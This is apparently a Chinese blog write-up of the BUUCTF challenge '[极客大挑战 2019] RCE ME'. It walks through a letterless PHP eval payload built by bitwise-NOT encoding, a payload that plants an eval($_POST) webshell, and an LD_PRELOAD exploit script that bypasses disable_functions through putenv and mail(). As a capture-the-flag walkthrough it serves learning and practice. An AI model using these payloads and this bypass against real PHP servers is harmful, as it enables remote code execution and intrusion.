[Buu RCE ME]奇奇怪怪的RCE && Bypass disable_function

[

[极客大挑战 2019]RCE ME

  • tags:无数字字母rce、bypass disable_function
  • 难度:困难

当时打这个比赛的时候就没做出来,这个题目难点不在于第一步无字母数字的 RCE,而是能命令执行后 getflag 操作。今天偶然看到这个一个学期之前的题,赶紧做了做。

打开网站十分直接地给了源码:

<?php
error_reporting(0);
if(isset($_GET['code'])){
	$code=$_GET['code'];
	if(strlen($code)>40){
		die("This is too Long.");
	}
	if(preg_match("/[A-Za-z0-9]+/",$code)){
		die("NO.");
	}
	@eval($code);
}
else{
	highlight_file(__FILE__);
}
?>

总之就是不能有数字和字母,其他的倒是可以随便用,所以变量拼接之类的骚操作也都可以尝试一下。

由于运算符一个都没 ban,而题目又限制了长度,所以我们的 payload 应该尽可能地短,于是就考虑到了异或,用 ~(%A0%B8%BA%AB) 即可得到一个 _GET;之后我们用 _ 命名一个变量,再用括号嵌套即可逃逸出 code 的限制,在别的传参点继续构造命令执行,逃逸的 payload:

$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&amp;__=assert&amp;___=phpinfo();

这里其实有一个小坑,一般来说大家基本都是习惯于用 eval 函数来命令执行,但是这里如果让 __=eval 网站会报 500,但是用 assert 就可以执行命令;我查了查 php 文档,发现是因为 eval 是一个语言构造器,可以理解为一个底层的方法,因此无法用变量函数的形式调用,类似的函数还有 echo,print,unset(),isset(),empty(),include,require 等等。

这里要额外注意一下,assert 在 php7 也变成了一种语言结构而不是一个函数,就是说像eval一样不支持可变函数,assert 和 eval 在底层的不同可以去看 l3m0n师傅的这篇文章,而底层的不同就造成了代码层的不同,eval 由于把接受的字符串当做代码执行,因此可以多行执行,而 assert 只能执行一堆语句中的第一条,我们测试如下代码:

<?php
eval($_GET['a']);
echo "<br>";
assert($_GET['a']);

可以明显看到 assert 并没有执行第二条语句,这个不同会对一些 shell 管理工具(菜刀蚁剑)的功能造成影响,因此如果 getshell 时应尽量使用 eval。

于是接着用这个 payload 构造出一个 eval,以便用菜刀连接:

$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&amp;__=assert&amp;___=eval($_POST['imagin']);
flag 文件没有权限

发现根目录有 flag,同时有 readflag,看他们的权限明显是要执行 readflag 来 getflag,但是在 phpinfo 中可以看到 system 在 disable_function 中,因此最后要 bypass 掉 disable_function 执行命令,这里主要用到这个项目

设想这样一种思路:利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),a.bin 内部调用系统函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载共 c.so,我想法在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。基于这一思路,将突破 disable_functions 限制执行操作系统命令这一目标,大致分解成几步在本地推演:查看进程调用系统函数明细、操作系统环境下劫持系统函数注入代码、找寻内部启动新进程的 PHP 函数、PHP 环境下劫持系统函数注入代码。

引用自这篇文章

直接上传项目中的 so 文件到 /tmp,再上传 exp.php:

<?php
// exp.php
$cmd = "/readflag";
$out_path = "/tmp/1.txt";
$evil_cmdline = $cmd . " > " . $out_path . " 2>&amp;1";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = "/tmp/bypass_disablefunc_x64.so";
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
unlink($out_path);

最后包含 exp.php 就可以得到 flag:

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.